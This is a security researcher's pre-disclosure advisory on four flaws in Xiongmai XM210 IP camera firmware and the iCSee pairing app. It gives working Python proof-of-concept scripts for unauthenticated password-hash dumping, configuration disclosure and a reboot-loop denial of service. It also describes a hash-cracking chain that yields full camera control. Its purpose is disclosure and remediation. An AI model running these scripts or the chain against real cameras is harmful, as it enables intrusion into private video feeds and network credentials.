

Security Advisory XM210-2026-001

Multiple Vulnerabilities in Xiongmai IPC_XM210 RT-Thread Firmware V5.06.R02 and the iCSee Provisioning Application

Advisory ID: XM210-2026-001 **Status:** Pre-disclosure draft — vendor notification pending **Researcher:** Artyom B (aka Raizer96) **Document version:** 1.0

1. Executive Summary

This advisory describes four vulnerabilities identified in a current-shipping IP camera based on the Xiongmai XM210 system-on-chip platform (model `IPC_XM210_X2-WR-T_S38`, firmware `V5.06.R02.000999WP`, build date 2025-10-11), provisioned via the iCSee mobile application (`com.xm.csee`).

The vulnerabilities are documented as follows:

- **Three issues** affect the device firmware: pre-authentication disclosure of user credentials (Finding 1), pre-authentication disclosure of configuration data (Finding 2), and an unauthenticated denial-of-service condition (Finding 3).
- **One issue** affects the iCSee provisioning application: insufficient entropy in the credentials it generates and pushes to the device during the pairing process (Finding 4).

When chained, Findings 1 and 4 enable an unauthenticated attacker on the local network to retrieve the administrator password hash, perform offline recovery of the plaintext credential within seconds, and obtain complete administrative control of the device. Demonstrated impact

includes access to live and recorded video streams, retrieval of the configured Wi-Fi pre-shared key in plaintext, and arbitrary device reconfiguration.

The findings do not duplicate existing public CVE records. The most closely related prior disclosure is **CVE-2024-3765**, which addressed an analogous authentication gap on a different DVRIP message identifier on earlier firmware. The vendor's prior remediation was confirmed to be applied to that specific identifier on the firmware tested for this advisory; however, the underlying authentication framework deficiency persists and affects multiple additional message identifiers not addressed by the prior fix.

ID	Finding	CVSS 3.1 (LAN)	CVSS 3.1 (Internet)
1	Pre-authentication user list and credential hash disclosure	6.1 (Medium)	7.5 (High)
2	Pre-authentication configuration disclosure	3.5 (Low)	5.3 (Medium)
3	Unauthenticated denial of service via malformed DVRIP commands	6.5 (Medium)	8.6 (High)
4	Insufficient entropy in iCSee-generated credentials	6.4 (Medium)	8.1 (High)
—	Findings 1 and 4 chained	8.3 (High)	9.8 (Critical)

2. Affected Components

Attribute	Value
Hardware model	IPC_XM210_X2-WR-T_S38
System-on-Chip	Xiongmai XM210 (Shenzhen iComm Semiconductor; OUI 10:65:19)
Operating system	RT-Thread RTOS
Firmware version	V5.06.R02.000999WP.00000.140f24.0000000
Build date	2025-10-11 17:21:30
Product identifier	A9A054546152000C
Provisioning application	iCSee (com.xm.csee), publisher Hangzhou JFTECH Co., Ltd. / Zhejiang JAIFY Co., Ltd.
Network protocol	DVRIP (Sofia) on TCP/34567

The XM210 platform is supplied by Xiongmai as an ODM reference design and is rebranded under numerous OEM labels. Identification of the OEM brand for any individual unit requires inspection of physical packaging, as no centralized mapping is published. Other devices employing the same system-on-chip family and the V5.0x.R02 firmware lineage are likely similarly affected; however, the scope of testing for this advisory was limited to the single device specified above.

3. Methodology and Scope

3.1 Test environment

The device under test was acquired second-hand. Prior to investigation, a factory reset was performed and the device was re-provisioned through the iCSee mobile application onto an isolated test network not routed to the public Internet. All testing was conducted on equipment owned by the researcher.

3.2 Scope

Testing was limited to the network attack surface exposed by the device. No firmware extraction, no hardware modification, no UART or JTAG access, and no interaction with vendor cloud infrastructure was performed. No exploit payloads targeting parser code paths or memory-corruption primitives were developed.

The device exposes a single TCP service:

PORT	STATE	SERVICE
34567/tcp	open	DVRIP/Sofia
34569/udp	open filtered	DVRIP discovery

No HTTP, RTSP, ONVIF, or auxiliary debug services (TCP/9527, TCP/9530) were observed. This exposure profile is materially smaller than that documented for the Xiongmai Linux/Sofia firmware family in prior disclosures and reflects a hardened minimal build on the RT-Thread platform.

3.3 DVRIP frame format

For reproducibility, all findings reference the DVRIP frame format below:

Offset	Size	Field
0x00	1	Magic byte (0xFF)
0x01	1	Version (0x01)
0x02	2	Reserved
0x04	4	Session ID (little-endian)
0x08	4	Sequence number (little-endian)
0x0C	1	Total packets (0)
0x0D	1	Current packet (0)
0x0E	2	MsgID (little-endian)
0x10	4	Body length (little-endian)
0x14	var	JSON body, terminated by "\n\x00"

Authentication is enforced via the Session ID field. Following a successful login (**MsgID 1000**), the device issues a session identifier that subsequent requests are required to present. The vulnerabilities described in Findings 1 and 2 result from inadequate enforcement of this requirement on a subset of message handlers.

4. Findings

4.1 Finding 1: Pre-authentication user list and credential hash disclosure

CVSS 3.1 vector	AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Base score	6.1 (Medium)
CWE	CWE-306 — Missing Authentication for Critical Function
Affected MsgIDs	1470 (Users), 1472 (Groups)

4.1.1 DESCRIPTION

The DVRIP command handlers for **MsgID 1470** (Users) and **MsgID 1472** (Groups) accept and process requests in which the **SessionID** field is set to **0x00000000**, indicating no authenticated session. The handlers respond with the complete user list, including each user's XM-format password hash, the corresponding V2 (encoded) password blob, group membership, authority list, and active session token where applicable.

This vulnerability is in the same class as CVE-2024-3765, which was disclosed against **MsgID 1009** on earlier firmware. Verification testing performed for this advisory confirmed that **MsgID 1009** is patched on the test firmware (the handler returns **Ret=102**, indicating the method is not supported). However, the same authentication gap remains present on **MsgID 1470** and **MsgID 1472**, which the prior remediation did not address.

4.1.2 REPRODUCTION

```
#!/usr/bin/env python3
import socket, struct

s = socket.socket()
s.connect(("<target>", 34567))
body = b'{"Name":"Users","SessionID":"0x00000000"}\n\x00'
hdr = struct.pack("<BBHIIBBHI", 0xFF, 0x01, 0, 0, 0, 0, 0, 1470, len(body))
s.send(hdr + body)
print(s.recv(65536)[20:].decode(errors="replace"))
```

4.1.3 OBSERVED RESPONSE

The device returns a JSON object structured as follows (illustrative; sensitive values redacted):

```
{
  "Users": [
    {
      "Name": "<4-char random>",
      "Group": "admin",
      "Memo": "admin 's account",
      "Password": "<XM hash>",
      "PasswordV2": "<V2 password blob>",
      "Token": "<session token>",
      "AuthorityList": ["ShutDown", "ChannelTitle", "DefaultConfig",
        "SysUpgrade", "AutoMaintain", "GeneralConfig",
        "NetConfig", "AlarmConfig", "VideoConfig",
        "RecordConfig", "StorageManager", "..."]
    },
    {
      "Name": "admin",
      "Group": "admin",
      "Memo": "factory test account",
      "Password": "tlJwpbo6",
      "PasswordV2": "<V2 password blob>"
    }
  ],
  "SessionID": "0x00000000",
  "Name": "Users",
  "Ret": 100
}
```

Two observations regarding the disclosed data are relevant:

1. The hash value `tlJwpbo6` on the `admin` account corresponds to the XM hash of the empty string. This account, designated `factory test account`, is therefore deployable using a blank password. This default-credential pattern matches the pre-existing public record on Xiongmai products dating to CVE-2016-1000246.
2. The first user account is a randomly-generated four-character username with a non-trivial hash value. This account is created by the iCSee provisioning application during pairing and is described further in Finding 4.

4.1.4 IMPACT

In isolation, this finding constitutes information disclosure of usernames, password hashes, group memberships, and authority lists. When chained with Finding 4, it enables full administrative compromise of the device by a network-adjacent attacker with no prior credentials. See Section 5 (Chained Attack Scenario).

4.2 Finding 2: Pre-authentication configuration disclosure

CVSS 3.1 vector	AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Base score	3.5 (Low)
CWE	CWE-306 — Missing Authentication for Critical Function
Affected MsgIDs	1042 (General), 1046 (Camera), 1050 (Storage), 1450 (OPMachine)

4.2.1 DESCRIPTION

In addition to the handlers documented in Finding 1, the following DVRIP message identifiers accept requests with `SessionID: 0x00000000` and return data with `Ret=100`:

MsgID	Name	Returned data
1042	General	Device general configuration including <code>AppBindFlag</code> , machine name, and auto-maintain schedule
1046	Camera	Stub response; full camera configuration requires a sub-name parameter that is gated on authentication
1050	Storage	Stub response
1450	OPMachine	Stub response

The Wi-Fi pre-shared key, accessed via `MsgID 1042` with parameter `Name: "NetWork.Wifi"`, is gated on authentication and is therefore not directly retrievable through this finding. The PSK is reachable through the chained attack described in Section 5, after administrative authentication has been obtained.

4.2.2 REPRODUCTION

```
import socket, struct, json
TARGETS = [(1042, "General"), (1046, "Camera"), (1050, "Storage"), (1450, "OPMachine")]
for mid, name in TARGETS:
    s = socket.socket()
    s.connect(("<target>", 34567))
    body = (json.dumps({"Name": name, "SessionID": "0x00000000"}) + "\n\x00").encode()
    hdr = struct.pack("<BBHIIBBHI", 0xFF, 0x01, 0, 0, 0, 0, 0, mid, len(body))
    s.send(hdr + body)
    print(f"--- MsgID {mid} ({name}) ---")
    print(s.recv(65536)[20:].decode(errors="replace")[:300])
    s.close()
```

4.2.3 IMPACT

The direct impact is limited to disclosure of low-sensitivity configuration metadata. The principal value of this finding lies in confirming that the authentication enforcement gap identified in Finding 1 is a class of issue affecting multiple command handlers, and is not isolated to a single message identifier. Consequently, remediation requires architectural correction at the DVRIP dispatch layer rather than per-handler patching.

4.3 Finding 3: Unauthenticated denial of service via malformed DVRIP commands

CVSS 3.1 vector	AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Base score	6.5 (Medium)
CWE	CWE-20 (Improper Input Validation), CWE-730 (DoS by Reachable Assertion)
Affected MsgIDs	1054, 1400, 1410, 1514

4.3.1 DESCRIPTION

The DVRIP command handlers for MsgIDs 1054, 1400, 1410, and 1514 enter an unrecoverable state when supplied with malformed input — specifically, when required sub-parameters are omitted or when fields are supplied with incorrect types. Approximately thirty seconds after the malformed packet is processed, the device's hardware watchdog initiates a system reboot. Total downtime per occurrence is approximately sixty to ninety seconds, during which time the device records no video and is unreachable on the network.

The condition is reproducible deterministically and requires no authenticated session.

4.3.2 REPRODUCTION

```
import socket, struct, json

s = socket.socket()
s.settimeout(3)
s.connect(("<target>", 34567))
body = (json.dumps({"Name": "System", "SessionID": "0x00000000"}) + "\n\x00").encode()
hdr = struct.pack("<BBHIIBBHI", 0xFF, 0x01, 0, 0, 0, 0, 0, 1054, len(body))
s.send(hdr + body)
try:
    print(s.recv(4096))
except socket.timeout:
    print("Handler did not respond. Watchdog reboot expected within ~30 seconds.")
s.close()
```

The same reboot behavior reproduces on `MsgIDs 1400, 1410, and 1514` with similarly-structured malformed payloads.

4.3.3 IMPACT

A network-adjacent attacker can sustain an indefinite reboot cycle on the device by transmitting a single malformed packet at intervals shorter than the recovery time, producing continuous denial of monitoring. The condition further suggests the possibility of memory-corruption issues in the affected handlers, which were not investigated for this advisory but may merit further analysis by the vendor.

4.4 Finding 4: Insufficient entropy in iCSee-generated credentials

CVSS 3.1 vector (chained with Finding 1)	AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base score (chained)	8.3 (High)
CWE	CWE-331 — Insufficient Entropy
Affected component	iCSee mobile application (<code>com.xm.csee</code>)

4.4.1 DESCRIPTION

During the device pairing process, the iCSee mobile application generates an administrator account and writes the corresponding credentials to the device. The generated credentials follow patterns of insufficient entropy:

Field	Pattern	Length	Estimated entropy
Username	<code>[a-z]{4}</code>	4 characters	~18 bits
Password	<code>[a-z0-9]{6}</code>	6 characters	~31 bits

The XM hash corresponding to the password is exposed pre-authentication via Finding 1. The hash format is supported by hashcat mode 22401. The candidate password search space is $36^6 \approx 2.2 \times 10^9$, which is exhaustible in seconds on a modern central processing unit and substantially faster on a graphics processing unit.

4.4.2 REPRODUCTION AND CONFIRMATION

The credential pattern was observed by performing a factory reset followed by re-pairing the test device through the iCSee application, and reading both the in-application credential display and the corresponding `Users` payload returned by the device. The pattern was observed on a single device and a single pairing event during this study; broader confirmation across multiple OEM devices and pairing events is recommended prior to final disclosure.

4.4.3 IMPACT

In isolation, the impact is limited to a reduction in the offline-cracking effort required against an obtained password hash. When chained with Finding 1, which provides the hash pre-authentication, this finding enables full administrative compromise of the device by an unauthenticated attacker on the local network in a recovery time bounded primarily by network latency.

5. Chained Attack Scenario

The combination of Findings 1 and 4 constitutes the principal exploitation scenario contemplated by this advisory. The attack proceeds as follows:

Step	Action	Outcome
1	Network reconnaissance	Identification of an open TCP/34567 port on the local network
2	Single DVRIP request to MsgID 1470 with <code>SessionID: 0x00000000</code>	Receipt of full user list including XM password hashes (Finding 1)
3	Identification of the iCSee-generated administrative user	Selection of a four-character username in the <code>admin</code> group
4	Offline credential recovery using hashcat mode 22401	Plaintext password recovered, typically in under ten seconds (Finding 4)
5	DVRIP login to TCP/34567 with recovered credentials	Authenticated administrative session established
6	Post-authentication operations	Live video access, SD card recording retrieval, Wi-Fi PSK retrieval, configuration modification, firmware update, factory reset

Total elapsed time from network access to administrative control, given prior knowledge of only the device's IP address: under one minute.

CVSS 3.1 (chained, network-adjacent attacker):

`AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` → 8.3 (High)

CVSS 3.1 (chained, Internet-exposed deployment): `AV:N/AC:L/PR:N/`

`UI:N/S:U/C:H/I:H/A:H` → 9.8 (Critical)

6. Demonstrated Impact

The following capabilities were demonstrated against the test device using credentials recovered through the procedure described in Section 5. All actions were performed against the researcher's own device on an isolated test network.

1. **Authenticated administrative access** to the device, including full user management, configuration read and write, and system control operations.
2. **Enumeration of recorded video** stored on the SD card, by issuing `MsgID 1440`. The returned data included clip filenames and timestamps for the recorded interval present at the time of testing.
3. **Retrieval of a recorded video clip** by issuing `MsgID 1424` (`OPPlayBack` Claim) followed by `MsgID 1420` with action `DownloadStart`. The retrieved H.264 stream was successfully remuxed to MP4 using ffmpeg and verified playable.
4. **Retrieval of the configured Wi-Fi pre-shared key in plaintext** by issuing `MsgID 1042` with parameter `Name: "NetWork.Wifi"`. The returned data included both the SSID and the PSK.

7. Out-of-Scope Areas

The following areas were identified as potentially containing additional vulnerabilities but were deliberately not investigated:

- **Firmware update handler (`OPSystemUpgrade`).** This handler is reachable post-authentication and accepts firmware images in chunks of up to 16,384 bytes. Historical Xiongmai disclosures on the Linux/Sofia firmware family identified parser vulnerabilities in this handler. Equivalent investigation on the RT-Thread firmware family was outside the scope of this study.
- **Memory-corruption analysis of Finding 3 handlers.** A handler that fails non-gracefully on malformed input may indicate the presence of additional memory safety issues. Further fuzzing of the affected message identifiers may be productive.

-
- **Hardware-level investigation.** Firmware extraction via UART, JTAG, or chip-off methods, and subsequent reverse engineering of the firmware binary, were not performed.
 - **XMEye P2P cloud infrastructure.** The device maintains an active connection to vendor cloud infrastructure (`AppBindFlag.BeBinded: true`). Active testing of vendor cloud servers was outside the authorized scope.
-

8. Comparison with Prior Public Disclosures

A systematic review of the public CVE record for Xiongmai products was performed. The relevant findings are summarized below.

CVE	Applicable to test device	Rationale
CVE-2016-1000246	No	HTTP-based; no HTTP service on test device
CVE-2017-7577	No	HTTP-based
CVE-2018-10088	No	HTTP-based
CVE-2018-17915 / 17917 / 17919	Likely (XMEye cloud)	Device is XMEye-bound; cloud testing out of scope
CVE-2020-22253	No	Affected port (TCP/9530) not present
CVE-2021-41506	No	Affected port (TCP/9527) not present
CVE-2022-26259	No	RTSP service not present
CVE-2022-45045	Possibly	Targets DVRIP/34567 upgrade RCE; not tested
CVE-2024-3765	Vulnerability class persists; specific MsgID is patched	MsgID 1009 returns Ret=102 on test firmware. Findings 1 and 2 of the present advisory document the same class of authentication gap on additional message identifiers not addressed by the prior fix.
CVE-2025-65856	No	ONVIF service not present
CVE-2026-34005	No	Targets Linux/Sofia binary; test device runs RT-Thread

The prior public CVE record predominantly addresses the older Xiongmai Linux/Sofia firmware family. The findings in this advisory appear to be the first published vulnerabilities affecting the RT-Thread firmware family at the V5.0x.R02 lineage.

The most directly comparable prior disclosure is **CVE-2024-3765**. The present advisory extends that disclosure by demonstrating that the vendor's prior remediation was scoped narrowly to a single message

identifier and did not address the underlying authentication framework deficiency, which remains exploitable on multiple additional handlers in the current firmware.

9. Recommended Remediation

9.1 Vendor remediation

The following remediations are recommended for the vendor:

1. **Centralize authentication enforcement at the DVRIP dispatch layer.** The current architecture appears to require per-handler validation of the session identifier. This pattern has demonstrably failed on at least eight message identifiers (1009, 1042, 1046, 1050, 1450, 1470, 1472, and one or more identifiers in the denial-of-service set). Centralizing the check ensures that future additions to the message handler set inherit authentication enforcement by default.
2. **Increase entropy of iCSee-generated credentials.** The current pattern of four lowercase characters for the username and six lowercase-alphanumeric characters for the password provides approximately thirty-one bits of password entropy. Industry baseline for IoT device administrative credentials is in the range of seventy-five bits or higher. The recommended remediation is either an extended random-character password (twelve or more characters from a mixed alphabet) or a per-device cryptographically-derived secret bound to the device serial number.
3. **Implement input validation on all DVRIP message handlers.** Handlers that fail non-gracefully on malformed input expand the denial-of-service surface and may indicate adjacent memory safety issues.
4. **Remove the factory test account from production firmware.** The presence of an `admin`-group account with a blank password in shipping firmware is consistent with patterns identified in the public record dating to 2016 and should be eliminated from production builds.
5. **Encrypt the Wi-Fi pre-shared key at rest** in the device configuration. Plaintext storage exposes the key to any party gaining administrative

access to the device, including parties to whom the device is subsequently transferred or sold.

9.2 User mitigations

Pending vendor remediation, end users are advised to apply the following mitigations:

- 1. **Network isolation.** Place the device on a network segment that is not routed to the public Internet. If remote access is not required, block outbound traffic from the device to vendor cloud infrastructure.
- 2. **Credential rotation.** Immediately upon completion of pairing, change the iCSee-generated administrative password to a strong, manually-chosen value.
- 3. **Avoid Internet exposure.** Do not configure NAT port-forwarding rules that expose TCP/34567 to the public Internet.
- 4. **Wi-Fi PSK rotation.** Where the device has been deployed and is subsequently decommissioned or transferred, rotate the Wi-Fi pre-shared key for any network on which the device was operational.

10. Disclosure Timeline

Date	Event
TBD	Initial vendor notification (Xiongmai: <code>XMSRC@xiongmaitech.com</code> , <code>oversea_sales@xiongmaitech.com</code> , <code>developer.xiongmai@gmail.com</code>)
TBD	Initial vendor notification (iCSee / Hangzhou JFTECH: <code>service.icsee@gmail.com</code> , <code>app.dev@jfttech.com</code>)
TBD + 30 days	Follow-up notification if no acknowledgement received
TBD + 90 days	Public disclosure and MITRE CVE submission

The 90-day disclosure period is consistent with industry practice. Prior researchers (SEC Consult, 2018; Luis Miranda Acebedo, 2025) have documented that Xiongmai’s published security contacts have been

intermittently or persistently non-functional. In the event that the vendor does not respond, public disclosure will proceed at the conclusion of the 90-day period.

11. References

1. CVE-2024-3765 — National Vulnerability Database. <https://nvd.nist.gov/vuln/detail/CVE-2024-3765>
2. netsecfish, “Xiongmai Incorrect Access Control” proof-of-concept repository. https://github.com/netsecfish/xiongmai_incorrect_access_control
3. SEC Consult, “Millions of Xiongmai video surveillance devices can be hacked via cloud feature (XMeye P2P Cloud),” 2018. <https://sec-consult.com/blog/detail/millions-of-xiongmai-video-surveillance-devices-can-be-hacked-via-cloud-feature-xmeye-p2p-cloud/>
4. CISA, “Hangzhou Xiongmai Technology Co., Ltd XMeye P2P Cloud Server” (ICSA-18-282-06). <https://www.cisa.gov/news-events/icsa-advisories/icsa-18-282-06>
5. Luis Miranda Acebedo, “CVE-2025-65856: Xiongmai XM530 IP Camera ONVIF Complete Authentication Bypass.” <https://luismirandaacebedo.github.io/CVE-2025-65856/>
6. OpenIPC, “python-dvr” reference implementation of DVRIP protocol. <https://github.com/OpenIPC/python-dvr>
7. FIRST.org, CVSS 3.1 Calculator. <https://www.first.org/cvss/calculator/3.1>

Appendix A: PoC Inventory

The proof-of-concept scripts referenced in this advisory are provided as a separate archive ([xiongmai-xm210-pocs.tar.gz](https://github.com/netsecfish/xiongmai-xm210-pocs.tar.gz)) accompanying this document. The archive contains:

- [poc1_user_disclosure.py](#) — Reproduction of Finding 1
- [poc2_config_disclosure.py](#) — Reproduction of Finding 2
- [poc3_dos.py](#) — Reproduction of Finding 3

-
- `poc4_icsee_credentials_NOTES.py` — Documentation of Finding 4 observation methodology
 - `verify_cve_2024_3765_patched.py` — Verification of CVE-2024-3765 patch status on test firmware

All scripts depend only on the Python 3 standard library and accept the target IP address as a command-line argument.

End of advisory.